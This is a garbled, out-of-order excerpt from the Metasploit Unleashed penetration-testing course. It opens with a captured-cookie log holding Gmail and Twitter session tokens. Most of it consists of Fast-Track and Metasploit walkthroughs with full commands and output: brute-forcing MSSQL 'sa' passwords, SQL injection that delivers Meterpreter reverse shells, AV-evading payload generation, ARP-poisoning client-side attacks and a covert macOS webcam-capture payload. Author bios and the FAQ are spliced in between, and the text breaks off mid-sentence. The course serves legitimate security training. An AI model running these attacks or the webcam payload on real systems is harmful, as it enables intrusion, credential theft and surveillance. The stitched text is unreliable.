23:47:05|1|http_request|blogger.com:80 GET /forms.html Windows FF 1.9.0.10 6|2009-05-09 23:47:05|1|http_request|care.com:80 GET /forms.html Windows FF 1.9.0.10 7|2009-05-09 23:47:05|1|http_request|0.0.0.0:55550 GET /ads Windows Firefox 3.0.10 8|2009-05-09 23:47:06|1|http_request|careerbuilder.com:80 GET /forms.html Windows FF 1.9.0.10 9|2009-05-09 23:47:06|1|http_request|ecademy.com:80 GET /forms.html Windows FF 1.9.0.10 10|2009-05-09 23:47:06|1|http_cookies|facebook.com datr=1241925583-120e39e88339c0edfd73fab6428ed813209603d31bd9d1dccccf3; ABT=::#b0ad8a8df29cc7bafdf91e67c86d58561st0:1242530384:A#2dd086ca2a46e9e50fff44e0ec48cb811st0:1242530384:B; s_vsn_facebookpoc_1=7269814957402 11|2009-05-09 23:47:06|1|http_request|facebook.com:80 GET /forms.html Windows FF 1.9.0.10 12|2009-05-09 23:47:06|1|http_request|gather.com:80 GET /forms.html Windows FF 1.9.0.10 13|2009-05-09 23:47:06|1|http_request|gmail.com:80 GET /forms.html Windows FF 1.9.0.10 14|2009-05-09 23:47:06|1|http_cookies|gmail.google.com PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-p5nGxSz_oh1inss; NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq 15|2009-05-09 23:47:07|1|http_request|gmail.google.com:80 GET /forms.html Windows FF 1.9.0.10 16|2009-05-09 23:47:07|1|http_cookies|google.com PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-p5nGxSz_oh1inss; NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq 17|2009-05-09 23:47:07|1|http_request|google.com:80 GET /forms.html Windows FF 1.9.0.10 18|2009-05-09 23:47:07|1|http_request|linkedin.com:80 GET /forms.html Windows FF 1.9.0.10 101|2009-05-09 23:50:03|1|http_cookies|safebrowsing.clients.google.com PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-p5nGxSz_oh1inss; NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq 102|2009-05-09 23:50:03|1|http_request|safebrowsing.clients.google.com:80 POST /safebrowsing/downloads Windows FF 1.9.0.10 108|2009-05-10 00:43:29|1|http_cookies|twitter.com auth_token=1241930535--c2a31fa4627149c521b965e0d7bdc3617df6ae1f 109|2009-05-10 00:43:29|1|http_cookies|www.twitter.com auth_token=1241930535--c2a31fa4627149c521b965e0d7bdc3617df6ae1f sqlite> Very useful. Think of the number of ways this can be utilized. MSSQL Bruter Probably one of my favorite aspects of Fast-Track is the MSSQL Bruter. It is probably one of the most robust and unique MSSQL bruters on the market today. When performing internal penetration tests, you often find that MSSQL "sa" passwords are often overlooked. First, a brief history behind these "sa" accounts is in order. The "sa" account is the system administrator account for MSSQL and when using "Mixed Mode" or "SQL Authentication", the SQL "sa" account automatically gets created. Administrators have to enter a password when creating these accounts and often leave these as weak passwords. Fast-Track attacks this weakness and attempts to identify SQL servers with weak "sa" accounts. Once these passwords have been guessed, Fast-Track will deliver whatever payload you want through an advanced hex to binary conversion utilizing windows debug. Let's scan a class C address space for SQL servers. One thing to note when going through these steps is that you will be prompted if you want to perform advanced SQL discovery. In order to explain this, you first need to understand default installations of SQL Servers. When installing SQL Server, by default it will install SQL on TCP Port 1433. In SQL Server 2005+, you can specify dynamic port allocation which will make the number somewhat random and hard to identify. Luckily for us, SQL server also installs port 1434 UDP which tells us what TCP port the SQL server is running on. When performing the advanced identification, Fast-Track will utilize the Metasploit auxiliary module to query port 1433 for the ports, otherwise Fast-Track will only end up scanning for port 1433. Let's look at the SQL Bruter. Note that by specifying the advanced discovery, it takes significantly longer than if you specify no. Fast-Track Main Menu: Enter your choice : 2 Enter the IP Address and Port Number to Attack. Options: (a)ttempt SQL Ping and Auto Quick Brute Force (m)ass scan and dictionary brute (s)ingle Target (Attack a Single Target with big dictionary) (f)ind SQL Ports (SQL Ping) (i) want a command prompt and know which system is vulnerable (v)ulnerable system, I want to add a local admin on the box... (e)nable xp_cmdshell if its disabled (sql2k and sql2k5) Enter Option: Fast-Track has a great list of options so let's take a look at each of them: * Option 'a', 'attempt SQL Ping and Auto Quick Brute Force', will attempt to scan a range of IP addresses. This uses the same syntax as Nmap and uses a built-in pre-defined dictionary list of about fifty passwords. * Option 'm', 'mass scan and dictionary brute', will scan a range of IP addresses and allow you to specify a word list of your own. Fast-Track does come with a decent word list located in 'bin/dict' though. * Option 's', 'single Target (Attack a Single Target with big dictionary', will allow you to brute force 1 specific IP address with a large word list. * Option 'f', 'find SQL Ports (SQL Ping)', will only look for SQL servers and not attack them. * Option 'i', 'i want a command prompt and know which system is vulnerable', will spawn a command prompt for you if you already know the "sa" password. * Option 'v', 'vulnerable system, I want to add a local admin on the box...', will add a new administrative user on a box that you know to be vulnerable. * Option 'e', 'enable xp_cmdshell if its disabled (sql2k and sql2k5)', is a stored procedure Fast-Track utilizes in order to execute underlying system commands. By default, it is disabled in SQL Server 2005 and above but Fast-Track can automatically re-enable it if it has been disabled. Just a good thing to mention, when attacking the remote system with any of the options, Fast-Track will automatically attempt to re-enable xp_cmdshell just in case. Let's run through the Quick Brute Force. Enter the IP Address and Port Number to Attack. Enter Option: a Enter username for SQL database (example:sa): sa Configuration file not detected, running default path. Recommend running setup.py install to configure Fast-Track. Setting default directory... Enter the IP Range to scan for SQL Scan (example 192.168.1.1-255): 10.211.55.1/24 Do you want to perform advanced SQL server identification on non-standard SQL ports? This will use UDP footprinting in order to determine where the SQL servers are at. This could take quite a long time. Do you want to perform advanced identification, yes or no: yes [-] Launching SQL Ping, this may take a while to footprint.... [-] [*] Please wait while we load the module tree... Brute forcing username: sa Be patient this could take awhile... Brute forcing password of password2 on IP 10.211.55.128:1433 Brute forcing password of on IP 10.211.55.128:1433 Brute forcing password of password on IP 10.211.55.128:1433 SQL Server Compromised: "sa" with password of: "password" on IP 10.211.55.128:1433 Brute forcing password of sqlserver on IP 10.211.55.128:1433 Brute forcing password of sql on IP 10.211.55.128:1433 Brute forcing password of password1 on IP 10.211.55.128:1433 Brute forcing password of password123 on IP 10.211.55.128:1433 Brute forcing password of complexpassword on IP 10.211.55.128:1433 Brute forcing password of database on IP 10.211.55.128:1433 Brute forcing password of server on IP 10.211.55.128:1433 Brute forcing password of changeme on IP 10.211.55.128:1433 Brute forcing password of change on IP 10.211.55.128:1433 Brute forcing password of sqlserver2000 on IP 10.211.55.128:1433 Brute forcing password of sqlserver2005 on IP 10.211.55.128:1433 Brute forcing password of Sqlserver on IP 10.211.55.128:1433 Brute forcing password of SqlServer on IP 10.211.55.128:1433 Brute forcing password of Password1 on IP 10.211.55.128:1433 Brute forcing password of xp on IP 10.211.55.128:1433 Brute forcing password of nt on IP 10.211.55.128:1433 Brute forcing password of 98 on IP 10.211.55.128:1433 Brute forcing password of 95 on IP 10.211.55.128:1433 Brute forcing password of 2003 on IP 10.211.55.128:1433 Brute forcing password of 2008 on IP 10.211.55.128:1433 ******************************************* The following SQL Servers were compromised: 1. 10.211.55.128:1433 *** U/N: sa P/W: password *** To interact with system, enter the SQL Server number. Example: 1. 192.168.1.32 you would type 1 Enter the number: Looking at the output above, we have compromised an SQL server at IP address 10.211.55.128 on port 1433 with username "sa" and password "password". We now want full access to this bad boy. There are a lot of options we can specify and in this case, we'll use a Meterpreter console but there are various other options available to you. Enter number here: 1 Enabling: XP_Cmdshell... Finished trying to re-enable xp_cmdshell stored procedure if disabled. What port do you want the payload to connect to you on: 4444 Metasploit Reverse Meterpreter Upload Detected.. Launching Meterpreter Handler. Creating Metasploit Reverse Meterpreter Payload.. Sending payload: c88f3f9ac4bbe0e66da147e0f96efd48dad6 Sending payload: ac8cbc47714aaeed2672d69e251cee3dfbad Metasploit payload delivered.. Converting our payload to binary, this may take a few... Cleaning up... Launching payload, this could take up to a minute... When finished, close the metasploit handler window to return to other compromised SQL Servers. [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler... [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (718336 bytes) [*] Meterpreter session 1 opened (10.211.55.130:4444 -> 10.211.55.128:1030) meterpreter > Success! We now have full access to this machine. Pretty wicked stuff, and all through guessing the SQL "sa" account. MSF vs OS X One of the more interesting things about the Mac platform is how cameras are built into all of the laptops. This fact has not gone unnoticed by Metasploit developers, as there is a very interesting module that will take a picture with the built in camera. Lets see it in action. First we generate a stand alone executable to transfer to a OS X system: root@bt4:/pentest/exploits/framework3# ./msfpayload osx/x86/isight/bind_tcp X > /tmp/osxt2 Payload: osx/x86/isight/bind_tcp Length: 144 Options: So, in this scenario we trick the user into executing the executable we have created, then we use 'multi/handler' to connect in and take a picture of the user. msf > use multi/handler msf exploit(handler) > set PAYLOAD osx/x86/isight/bind_tcp PAYLOAD => osx/x86/isight/bind_tcp Payload options (osx/x86/isight/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- AUTOVIEW true yes Automatically open the picture in a browser BUNDLE /pentest/exploits/framework3/data/isight.bundle yes The local path to the iSight Mach-O Bundle to upload LPORT 4444 yes The local port RHOST no The target address msf exploit(handler) > ifconfig eth0 [*] exec: ifconfig eth0 eth0 Link encap:Ethernet HWaddr 00:0c:29:a7:f1:c5 inet addr:172.16.104.150 Bcast:172.16.104.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fea7:f1c5/64 Scope:Link RX packets:234609 errors:4 dropped:0 overruns:0 frame:0 TX packets:717103 errors:0 dropped:0 overruns:0 carrier:0 RX bytes:154234515 (154.2 MB) TX bytes:58858484 (58.8 MB) Interrupt:19 Base address:0x2000 msf exploit(handler) > set RHOST 172.16.104.1 RHOST => 172.16.104.1 [*] Sending stage (421 bytes) [*] Uploading bundle (29548 bytes)... [*] Downloading photo... [*] Downloading photo (13571 bytes)... [*] Photo saved as /root/.msf3/logs/isight/172.16.104.1_20090821.495489022.jpg [*] Opening photo in a web browser... Error: no display specified [*] Command shell session 2 opened (172.16.104.150:57008 -> 172.16.104.1:4444) [*] Command shell session 2 closed. Very interesting! It appears we have a picture! Lets see what it looks like. Amazing. This is a very powerful feature with can be used for many different purposes. The standardization of the Apple hardware platform has created a well defined platform for attackers to take advantage of. Binary to Hex Converter The binary to hex generator is useful when you already have access to a system and need to deliver an executable to it. Typically, TFTP and FTP are filtered by firewalls and an alternative method that does not require any egress connections is utilizing the windows debug conversion in order to deliver your payload. Fast-Track will take any executable as long as it's below 64kb in size, and spit out a text file with the specific format of the Windows debug conversions. Once you have that, simply paste it into a command prompt, or write a script to get it onto the affected system that you already have access to. Enter the number: 6 Binary to Hex Generator v0.1 This menu will convert an exe to a hex file which you just need to copy and paste the output to a windows command prompt, it will then generate an executable based on your payload **Note** Based on Windows restrictions the file cannot be over 64kb Enter the path to the file you want to convert to hex: /pentest/exploits/fasttrack/nc.exe Finished... Opening text editor... // Output will look like this DEL T 1>NUL 2>NUL echo EDS:0 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00>>T echo EDS:10 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00>>T echo FDS:20 L 10 00>>T echo EDS:30 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00>>T echo EDS:40 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68>>T echo EDS:50 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F>>T echo EDS:60 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20>>T echo EDS:70 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00>>T Simply paste that into a command prompt and watch the magic! Donate to HFC, feed a child! All proceeds go directly to HFCs Kenya food for work program. Amount _____ USD Your website ______________________________ Your linktext ______________________________ Donate ª Click here to learn more about the donor cloud. Amount ____________________ USD Your website ____________________ Your linktext ____________________ About the Authors These are the people that dedicated their time, and effort into making this course possible. Everyone involved feels that this is for a great cause, and wanted to use their expertise to help give to the cause, and the community. If you'd like to get a little more information on these people, this is the place to start. We all appreciate your interest in this course, and hopefully your donations to HFC, to make the world just a little better place. David Kennedy (ReL1K) is the author of Fast-Track and the Social-Engineering Toolkit and has been assisting the open source community for several years now. Dave contributes to the widely popular Back|Track security distribution, assists with the exploit database (exploit-db.com), and is one of the main contributors to the social-engineer.org framework. Dave is also a frequent guest on the Security Justice and PaulDotCom podcasts. David has a heavy background in information security and penetration testing for a number of large multi-billion dollar organizations and was a Partner and Vice President of Consulting for a highly successful Information Security Consulting company. Prior to consulting, David worked for the United States Marine Corps in Intelligence stationed in Hawaii. Lastly, David has presented at a number of large conferences "Defcon", "Shmoocon", and "Notacon". Carlos Perez (Darkoperator) is a Solution Architect for a large IT Integrator, he has worked in the security field for Compaq, HP and as a internal contractor for Microsoft. In addition he is a contributor to the Metasploit project in the area of post exploitation using the Meterpreter payload writing several of the scripts included with the project, he is also a member of the Pauldotcom Security Weekly podcast at http://www.pauldotcom.com . Many of his scripts and other tools can be found in http://www.darkoperator.com he is a MCSE, MCDBA, CCDA, Security +, A+. Network+, Linux + and other HR pleasing soup of letters. Jim, also known as _Elwood_ on irc, can be found online at elwood.net and social-engineer.org. David "Darkangel" Ovitz on freenode it's soddarkangel. I've been programming since childhood, and professionally since about 1999. I've been on the defensive side of security for a long time, but found I could learn a lot more from the offensive side. I'm newer to offensive security, but it really does help from the defensive standpoint if you really learn what's going on. I don't have a lot to say about myself, but this course really is a good one, and I got involved to help HFC, I think it's a great cause. I also think that all people involved with computers professionally in any way should learn about hardware, software, networks, security, and anything else they can get their hands on. I've found the more you know about the whole process the more sense each individual part of the puzzle makes. Devon Kearns (dookie) formerly served as Communications and Information Systems Technician with the Canadian Army. He has served in Afghanistan working primarily on long-range radio and satellite communications. A back injury cut his military career short but led him into a position as an IS Security Analyst in the public service, allowing him to pursue his true passion in the field of Information Security while still serving his nation. As a relative newcomer to the information security world, Devon is working hard at "catching up" and currently holds the OSCP, OSWP, GCIH, and GSEC certifications. Devon can be found on Twitter, IRC, and LinkedIn as "dookie2000ca" and posts the occasional video at dookie.dkearns.ca Velox Versutus Vigilans SQL Pwnage 'SQLPwnage' is an insane tool for detecting potential SQL Injection vulnerabilities within a web application. SQLPwnage will scan subnets and crawl entire URLs looking for any type of POST parameters. SQLPwnage will try both Error and Blind based SQL Injection in an attempt to gain full access to the system. If it can guess the proper SQL Syntax, it will do a series of attacks including re-enabling xp_cmdshell and delivering whatever payload you want, all through SQL Injection. Using the example below, we will automatically crawl and attack a site we know is vulnerable to SQL Injection. SQLPwnage was written by Andrew Weidenhamer and David Kennedy. Let's see what happens. Fast-Track Main Menu: Fast-Track - Where it's OK to finish in under 3 minutes... Version: v4.0 Written by: David Kennedy (ReL1K) http://www.securestate.com http://www.thepentest.com 1. Fast-Track Updates 2. Autopwn Automation 3. Microsoft SQL Tools 4. Mass Client-Side Attack 5. Exploits 6. Binary to Hex Payload Converter 7. Payload Generator 8. Fast-Track Tutorials 9. Fast-Track Changelog 10. Fast-Track Credits 11. Exit Enter the number: 3 Microsoft SQL Attack Tools Pick a list of the tools from below: 1. MSSQL Injector 2. MSSQL Bruter 3. SQLPwnage Enter your choice : 3 Configuration file not detected, running default path. Recommend running setup.py install to configure Fast-Track. Default Metasploit directory set to /pentest/exploits/framework3/ Checking SQLPwnage dependencies required to run... Dependencies installed. Welcome to SQLPwnage. SQLPwnage written by: Andrew Weidenhamer and David Kennedy SQLPwnage is a mass pwnage tool custom coded for Fast-Track. SQLPwnage will attempt to identify SQL Injection in a website, scan subnet ranges for web servers, crawl entire sites, fuzz form parameters and attempt to gain you remote access to a system. We useunique attacks never performed before in order to bypass the 64kb debug restrictions on remote Windows systems and deploy our large payloads without restrictions This is all done without a stager to download remote files, the only egress connections made are our final payload. Right now SQLPwnage supports three payloads, a reverse tcp shell, metasploit reverse tcp meterpreter, and metasploit reverse vnc inject. Some additional features are, elevation to "sa" role if not added, data execution prevention (DEP) disabling, anti-virus bypassing, and much more! This tool is the only one of its kind, and is currently still in beta. SQLPwnage Main Menu: 1. SQL Injection Search/Exploit by Binary Payload Injection (BLIND) 2. SQL Injection Search/Exploit by Binary Payload Injection (ERROR BASED) 3. SQL Injection single URL exploitation --------------------------------------------------------------- - This module has the following two options: - - - - 1) Spider a single URL looking for SQL Injection. If - - successful in identifying SQL Injection, it will then - - give you a choice to exploit.- - 2) Scan an entire subnet looking for webservers running on - - port 80. The user will then be prompted with two - - choices: 1) Select a website or, 2) Attempt to spider - - all websites that was found during the scan attempting - - to identify possible SQL Injection. If SQL Injection - - is identified, the user will then have an option to - - exploit. - - This module is based on error messages that are most - - commonly returned when SQL Injection is prevalent on - - web application. - - If all goes well a reverse shell will be returned back to - - the user. - Scan a subnet or spider single URL? 1. url 2. subnet (new) 3. subnet (lists last scan) Enter the Number: 2 Enter the ip range, example 192.168.1.1-254: 10.211.55.1-254 Scanning Complete!!! Select a website to spider or spider all?? 1. Single Website 2. All Websites Attempting to Spider: http://10.211.55.128 Crawling http://10.211.55.128 (Max Depth: 100000) DONE Found 0 links, following 0 urls in 0+0:0:0 Spidering is complete. ************************************************************************* http://10.211.55.128 [+] Number of forms detected: 2 [+] A SQL Exception has been encountered in the "txtLogin" input field of the above website. What type of payload do you want? 1. Custom Packed Fast-Track Reverse Payload (AV Safe) 2. Metasploit Reverse VNC Inject (Requires Metasploit) 3. Metasploit Meterpreter Payload (Requires Metasploit) 4. Metasploit TCP Bind Shell (Requires Metasploit) 5. Metasploit Meterpreter Reflective Reverse TCP 6. Metasploit Reflective Reverse VNC Select your choice: 5 Enter the port you want to listen on: 9090 [+] Importing 64kb debug bypass payload into Fast-Track... [+] [+] Import complete, formatting the payload for delivery.. [+] [+] Payload Formatting prepped and ready for launch. [+] [+] Executing SQL commands to elevate account permissions. [+] [+] Initiating stored procedure: 'xp_cmdhshell' if disabled. [+] [+] Delivery Complete. [+] Payload: windows/patchupmeterpreter/reverse_tcp Options: LHOST=10.211.55.130,LPORT=9090 Launching MSFCLI Meterpreter Handler Creating Metasploit Reverse Meterpreter Payload.. Taking raw binary and converting to hex. Raw binary converted to straight hex. [+] Bypassing Windows Debug 64KB Restrictions. Evil. [+] [+] Sending chunked payload. Number 1 of 9. This may take a bit. [+] [+] Sending chunked payload. Number 2 of 9. This may take a bit. [+] [+] Sending chunked payload. Number 3 of 9. This may take a bit. [+] [+] Sending chunked payload. Number 4 of 9. This may take a bit. [+] [+] Sending chunked payload. Number 5 of 9. This may take a bit. [+] [+] Sending chunked payload. Number 6 of 9. This may take a bit. [+] [+] Sending chunked payload. Number 7 of 9. This may take a bit. [+] [+] Sending chunked payload. Number 8 of 9. This may take a bit. [+] [+] Sending chunked payload. Number 9 of 9. This may take a bit. [+] [+] Conversion from hex to binary in progress. [+] [+] Conversion complete. Moving the binary to an executable. [+] [+] Splitting the hex into 100 character chunks [+] [+] Split complete. [+] [+] Prepping the payload for delivery. [+] Sending chunk 1 of 3, this may take a bit... Sending chunk 2 of 3, this may take a bit... Sending chunk 3 of 3, this may take a bit... Using H2B Bypass to convert our Payload to Binary.. Running cleanup before launching the payload.... [+] Launching the PAYLOAD!! This may take up to two or three minutes. [+] [*] Uploading DLL (718347 bytes)... [*] Meterpreter session 1 opened (10.211.55.130:9090 -> 10.211.55.128:1031) Phew! Made that look easy... Fast-Track has successfully gained access and delivered the payload all through SQL Injection! What is interesting about all of this is how the actual payload got delivered. Once Fast-Track identifies SQL Injection, it takes the options specified during the initial setup and creates a Metasploit Payload as an executable format. That executable is then converted into a raw hex version, so the output is just a straight blob of hex. A custom payload is delivered to the victim machine that is completely custom to Fast-Track, what this initial payload does is its a 5kb hex based application, it drops the payload in the hex format on the underlying operating system and uses Windows debug to convert the hex format back to a binary based application. The main limitation with this method is that all payloads MUST be under 64KB in size. If the payload is over the size, it will bomb out and not convert the application. Fast-Track's custom payload (5kb) essentially once converted back to a binary reads in raw hex and spits it to a file in a binary format, thus bypassing the 64KB restriction. This method was first introduced by Scott White at SecureState at Defcon in 2008 and is incorporated into the Fast-Track SQLPwnage and SQLBruter attacks. William "SubINacls" Coppola, started his adventure in to computers at the ripe age of 10, and was employed at the age of 13 for a friends electronic repair shop. Many years later he joined the US Army as an Airborne qualified Network Administrator and acquired his Private Investigator's license at the age 21. Most noted for helping reunite mother and child after an abduction and many other tracking abilities to include recovery of lost/stolen assets. Incorporating many of the skills and traits of a hacker mindset into his life gave him the unprecedented ability to think outside the box and with unconventional methods was able to complete task others were not so fortunate with. SubINacls gained his OSCP in 2008 and in the same year aquired the GPEN ---- "When you do things right, people won't be sure you've done anything at all." Max is working since ages in the IT security industry. He is well known for hes work published on remote-exploit.org. He is one of the original authors of the security focused liveCD Auditor and its successor called backtrack. Currently Max Moser is employed by Dreamlab Technologies AG http://www.dreamlab.net as a senior security expert. Muts What ?? What did you think you'd find ? Glossary Modules Modules show great versatility allowing you to select just the components you need. This modular interface is extremely easy to use once you are accustomed to it. Lets go through and define the various components. * Define which attacks you wish to use. * Configured through various options which are defined before it can be utilized. * Exploits make use of payloads. * Exploits without payloads are defined as auxiliary modules. Payloads, Encoders, NOPS * Payloads are the code you wish to remotely run on the target system. * Payloads are run through an encoder to ensure that no transmission errors occur. * Nops keep payloads sizes consistent. * Scanners, Servers, and "other" non-exploit modules. * Contains various fuzzers and denial of service modules. Resource Files A resource file is simply a line separated text file containing a sequence of commands to be executed in msfconsole. One of the most notable resource files is the Karmetasploit file 'karma.rc'. Let's take a brief look inside this file to get an idea of the contents of a resource file. load db_sqlite3 db_create /root/karma.db use auxiliary/server/browser_autopwn setg AUTOPWN_HOST 10.0.0.1 setg AUTOPWN_PORT 55550 setg AUTOPWN_URI /ads set LHOST 10.0.0.1 set LPORT 45000 set SRVPORT 55550 set URIPATH /ads run use auxiliary/server/capture/pop3 set SRVPORT 110 set SSL false set SRVPORT 995 set SSL true use auxiliary/server/capture/ftp As you can see, passing a resource file to Metasploit allows for a great deal of automation. You can set any option and use any module within Metasploit using a resource file and the commands will all be executed in sequence. There are two methods to load resource files in Metasploit. They can be passed as an option to msfconsole on the command line using the '-r' switch or you can load them from within msfconsole by using the 'resource' command. _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ | | |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/ /| | =[ 149 aux FAQ Q. When will the online Videos and Certification be ready? A. Due to recent changes in the Metasploit Framework, and due to the ongoing development process, we are waiting for the MSF to stabilize, and for its full feature set to be implemented. We will announce the release of the MSFU videos once they are ready, Stay Tuned! Q. How much will the "commercial" course cost? A. We still do not know, but are aiming to make it affordable to all. All proceeds from the commercial course will be going to HFC. Q. Where can we find more information / discuss this course with others? A. We have opened an IRC channel on the freenode network called #metasploit. You may join this channel with your favorite IRC client and meet other students going through the course. Q. How can I contribute to the MSFU course ? A. If you are a MSF developer / enthusiast and would like to add some content to the course, contact muts at offsec dot com. Q. Do I have to use VMware or BackTrack as my platforms ? A. Nope, use whatever you like, however your mileage may vary. Q. I have a bigger lab environment. Can I used it instead ? A. Feel free to. We build these lab machines with minimum resource use in mind. Not everyone has volume license MSDN subscriptions and multicore servers laying around. Payload Generator The Fast Track Payload Generator will create custom Metasploit Payloads for you with a click of a button. Often though, remembering the commands with msfpayload can be tricky but Fast-Track's Payload Generator simplifies it for you! Enter the number: 7 ##################################### ### ### ### Metasploit Payload Generator ### ### Written by: Dave Kennedy ### ### aka ReL1K ### The Metasploit Payload Generator is a simple tool to make it extremely easy to generate a payload and listener on the Metasploit framework. This does not actually exploit any systems, it will generate a metasploit payload for you and save it to an executable. You then need to someone get it on the remote server by yourself and get it to execute correctly. This will also encode your payload to get past most AV and IDS/IPS. What payload do you want to generate: Name: Description: 1. Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker. 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker. 3. Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker. 4. Windows Bind Shell Execute payload and create an accepting port on remote system. 5. Windows Reflective Reverse VNC Spawn a VNC server on victim and send back to attacker. 6. Windows Reflective Reverse Meterpreter Spawn a Meterpreter shell on victim through Reflective to attacker. Enter choice (example 1-6): 2 Below is a list of encodings to try and bypass AV. Select one of the below, Avoid_UTF8_tolower usually gets past them. 1. avoid_utf8_tolower 2. shikata_ga_nai 3. alpha_mixed 4. alpha_upper 5. call4_dword_xor 6. countdown 7. fnstenv_mov 8. jmp_call_additive 9. nonalpha 10. nonupper 11. unicode_mixed 12. unicode_upper 13. alpha2 14. No Encoding Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): 10.211.55.130 Enter the port of the Listener: 9090 Do you want to create an EXE or Shellcode 1. Executable 2. Shellcode Enter your choice: 1 Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 310 Options: LHOST=10.211.55.130,LPORT=9090,ENCODING=shikata_ga_nai A payload has been created in this directory and is named 'payload.exe'. Enjoy! Do you want to start a listener to receive the payload yes or no: yes Launching Listener... *********************************************************************************************** Launching MSFCLI on 'exploit/multi/handler' with PAYLOAD='windows/meterpreter/reverse_tcp' Listening on IP: 10.211.55.130 on Local Port: 9090 Using encoding: ENCODING=shikata_ga_nai Notice that once the payload is created, Fast-Track can automatically set up a listener for you to accept the connection. Now all you have to do is get the executable on the remote system itself. Once executed: [*] Meterpreter session 1 opened (10.211.55.130:9090 -> 10.211.55.128:1078) We just learned how to easily create payloads using the Fast-Track framework and ultimately gain access to a system using a custom-created payload through the Metasploit Framework! Mass-Client Attack Fast-Track's 'Mass Client-Side Attack' is similar in nature to Metasploit's db_autopwn. When a user connects to your malicious website, a slew of both custom exploits developed in Fast-Track and the army of exploits in Metasploit's repository will be launched at the client. One thing to add is that you can also use ARP cache poisoning with ettercap in order to force the victim to your site! Let's try this out. Enter the number: 4 Metasploit path not defined, you should run setup.py, using the default for now... Mass Client Client Attack Metasploit has a bunch of powerful client-side attacks available in its arsenal. This simply launches all client side attacks within Metasploit through msfcli and starts them on various ports and starts a custom HTTP server for you, injects a new index.html file, and puts all of the exploits in iframes. If you can get someone to connect to this web page, it will basically brute force various client side exploits in the hope one succeeds. You'll have to monitor each shell if one succeeds.. Once finished, just have someone connect to port 80 for you and if they are vulnerable to any of the exploits...should have a nice shell. Enter the IP Address you want the web server to listen on: 10.211.55.130 Specify your payload: 1. Windows Meterpreter Reverse Meterpreter 2. Generic Bind Shell 3. Windows VNC Inject Reverse_TCP (aka "Da Gui") 4. Reverse TCP Shell Enter the number of the payload you want: 1 a site, force them to use the metasploit site and launch a slew of What IP Address do you want to poison: 10.211.55.128 12 protocol tables loaded: DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth 11 constants loaded: VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP Parsing source file 'bin/appdata/fasttrack.filter' done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to 'bin/appdata/fasttrack.ef' done. -> Script encoded into 16 instructions. Setting up Metasploit MSFConsole with various exploits... If an exploit succeeds, type sessions -l to list shells and sessions -i to interact... Have someone connect to you on port 80... Launching MSFConsole and Exploits... Once you see the Metasploit Console launch all the exploits have someone connect to you.. SRVPORT => 8072 resource> set URIPATH / resource> set LPORT 9072 LPORT => 9072 resource> exploit resource> use exploit/windows/browser/zenturiprogramchecker_unsafe [*] Using URL: http://0.0.0.0:8071/ resource> set LHOST 10.211.55.130 LHOST => 10.211.55.130 [*] Local IP: http://10.211.55.130:8071/ resource> set SRVPORT 8073 SRVPORT => 8073 resource> set LPORT 9073 LPORT => 9073 [*] Using URL: http://0.0.0.0:8072/ [*] Local IP: http://10.211.55.130:8072/ msf exploit(zenturiprogramchecker_unsafe) > [*] Using URL: http://0.0.0.0:8073/ [*] Local IP: http://10.211.55.130:8073/ At this point when our poor victim at 10.211.55.128 goes to browse ANY website, all the hrefs will be replaced with our website address. Check it out below. Notice in the bottom left hand corner that the link points to our malicious website on 10.211.55.130. All of the links on Google have successfully been replaced. As soon as a link is clicked, the mayhem begins. [*] Sending Adobe Collab.getIcon() Buffer Overflow to 10.211.55.128:1044... [*] Attempting to 